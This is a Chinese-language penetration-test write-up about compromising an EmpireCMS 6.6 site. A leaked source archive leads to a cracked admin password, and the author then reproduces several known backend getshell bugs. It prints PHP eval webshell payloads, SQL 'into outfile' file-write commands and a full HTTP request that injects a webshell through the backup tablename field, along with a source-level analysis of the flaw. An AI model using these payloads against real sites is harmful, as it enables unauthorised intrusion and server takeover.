渗透测试 | 源码泄露到getshell

VSole2022-01-27 06:06:55

前言

文章所述漏洞已经提交至漏洞平台,且所有恶意操作均已复原

源码泄露

http://www.xxx.com.cn/www.zip

老规矩拿到源码先通关关键词找敏感信息

key
pwd
passwd
password

找到了半天居然找不到一个有效的密码

最后在robots.txt中看到CMS的信息-EmpireCMS

查询知道是开源cms后,直接百度查询数据表结构

知道了管理员记录表为phome_enewsuser,在源码里全局搜索

敏感信息泄露

点击进去得到管理员用户名,密码hash和盐值

直接解md5得到口令

Kite/kite

得到口令后就是找到后台地址,由于是开源的百度一下就有了

看一眼目录并没有修改后台地址,所以直接访问

http://www.xxx.com.cn/e/admin/

得到具体的版本号为6.6

历史漏洞

登录到后台后,因为是开源CMS,历史漏洞才是渗透的关键

直接搜索empireCMS漏洞,开始复现历史漏洞

1.后台-模版-公共模版-js调用登陆模版getshell

还没有开始就已经结束

Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist

好家伙,这是把表都删了吗

2.后台数据表与系统模型-导入数据库模型getshell

EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。


在本地先新建一个test.php.mod文件,内容为

php file_put_contents("lyy.php","php @eval(\$_POST['lyy']); ?>");?>

填入任意表名然后选择马上导入

又是一个表不存在,GG

3.后台备份与恢复数据-执行sql语句getshell

EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。

也就是后台提供了一个sql语句执行

只要服务器mysql配置secure_file_priv 不当,就可以向服务器写入文件

Payload

select '' into outfile '绝对路径/e/admin/lyy.php'


因为要向站点写入文件,所以必须知道绝对路径才行。

因为是无回显执行,也不能通过show mysql变量获取部分路径,所以也pass了

show variables like '%datadir%';

4.后台备份与恢复数据-备份数据getshell

empirecms 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。


选择任意一个表,开始备份抓包


将tablename字段改为payload

@eval($_POST[123])


请求包

POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
Connection: close
phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD


回显得到备份文件夹名

hdm1010482_db_20211229152350


webshell连接备份文件夹下的config.php

http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php


成功getshell

原理分析

因为手里有源码,就跟了一下这个漏洞

首先定位

直接全局搜索config.php就找到了

在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件写入操作

$string="    \$b_table=\"".$b_table."\";
    ".$d_table."
    \$b_baktype=".$add['baktype'].";
    \$b_filesize=".$add['filesize'].";
    \$b_bakline=".$add['bakline'].";
    \$b_autoauf=".$add['autoauf'].";
    \$b_dbname=\"".$dbname."\";
    \$b_stru=".$bakstru.";
    \$b_strufour=".$bakstrufour.";
    \$b_dbchar=\"".addslashes($add['dbchar'])."\";
    \$b_beover=".$beover.";
    \$b_insertf=\"".addslashes($insertf)."\";
    \$b_autofield=\",".addslashes($add['autofield']).",\";
    \$b_bakdatatype=".$bakdatatype.";
    ?>";
    $cfile=$bakpath."/".$add['mypath']."/config.php";
    WriteFiletext_n($cfile,$string);

可以看到直接对$d_table变量进行拼接

再看看写函数WriteFiletext_n

也没有对写入内容进行过滤,那么只需要知道如何控制$d_table变量值即可

crtl+左键跟到上面

而$count是$tablename的数量,$tablename是$add中tablename的键值

找到调用Ebak_DoEbak函数的位置,知道$add就是$_POST

那就很清楚了,他对POST传参的tablename进行了处理产生两个变量

$b_table和$d_table,其中$b_table是被双引号包裹无法利用的

但是$d_table没有双引号被包裹,且没有任意过滤直接写入.php文件,导致命令执行

为什么不是其他参数?

其他参数大部分是被双引号包裹的

没有被双引号包裹的参数都被强转int,如果传str会返回0 所以pass

3的后续

在通过漏洞4获得站点真实路径后我又构造sql语句,尝试向站点直接webshell

select '' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'

虽然爆了一个数据库连接错误,但是语句被成功执行,只是被写入的内容被替换成了空

可以成功访问但没有内容

可以写入正常字符

select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'

初步判断是对php标签做了过滤,尝试其他写法进行绕过

1.select ' phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
2.select '<script language="php"> phpinfo(); script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
3.select ' @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'


只有最后的asp风格成功写入

尝试访问无法执行 查了一下linux上默认不开PHP短标签配置项,溜了溜了

后记

还是以备份文件泄露为入口,最后成功getshell。因为是开源的CMS,主要进行测试历史漏洞,由于二开的魔改,一次的渗透流程相当于把EmpireCMS的能getshell的历史漏洞基本复现了一遍,还是有一点收获的。

渗透测试php源码
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言:渗透测试的时候往往会遇到盲注这类的繁杂的手工测试,所以需要编写半自动化脚本去进行测试减少时间浪费并快速
0x01 苦逼的测试任务 某一天,我照常在学校的CTF群和学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试。上面的老师自然而然把这个任务分配给我们CTF战队,要求是找到漏洞,能Getshell的点证明能Getshell即可,不要深入利用。
找到了半天居然找不到一个有效的密码最后在robots.txt中看到CMS的信息-EmpireCMS查询知道是开源cms后,直接百度查询数据表结构知道了管理员记录表为phome_enewsuser,在源码里全局搜索敏感信息泄露点击进去得到管理员用户名,
常见渗透测试靶场
2022-05-12 06:47:27
作为新手,通常第一个听说的靶场应该就是DVWA,部署简单安装完对应版本的PAM(PHP-Apache-MySQL),简单配置后就可以使用。 1、DVWA靶场可测试漏洞:暴力破解(Brute Force)、命令注入(Command Injection)、跨站请求伪造(CSRF)、文件包含(File Inclusion)、文件上传(File Upload)、不安全的验证码(Insecure CAPT
一般网站主站信息都比较少,我们需要在渗透测试过程的信息搜集阶段,我们可能会自动化工具获得来网站其他路径如:后台、其他未授权访问路径,扫描得到敏感文件的路径,从而找到敏感数据。 根据路径爆破工具进行使用与测评分析工具的特点,批量访问发现的路径查找敏感路径。工具爬虫扫描得到敏感文件的路径,找到敏感数据。
信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到的是ThinkPHP那些年爆发的命令执行了,准备一把梭!然而,尝试了一番,并没有历史漏洞。0x02 常见漏洞利用宝塔和FastAdmin,首先FastAdmin印证了是ThinkPHP的猜测,有宝塔可以尝试利用宝塔的phpmyAdmin未授权访问漏洞进行利用。另外由于各个站点之间没有隔离,旁站的shell和目标站点的shell没有差别,无需继续,至此渗透结束。
起因,由于前几天拿了一个菠菜站的webshell,但是只有iis权限,执行无法创建用户等操作,更无法对整个服务器进行控制了,于是此时便需要提权了,对于一个刚刚入门的小白来说,此刻真正意识到了提权的重要性,于是便开始学习提取相关知识,以拿下该菠菜的站点。提权前的准备工作1,通常来说,不同的脚本所处的权限是不一样的。
提权需要的东西有点儿多,笔记里出现的工具不建议在百度上下载。如果支持aspx,可以上传aspx,通过aspx大马,直接调用默认cmd扫描扫出了其他人的大马可以尝试用?
实战绕过WAF,进入内网,靶机渗透
VSole
网络安全专家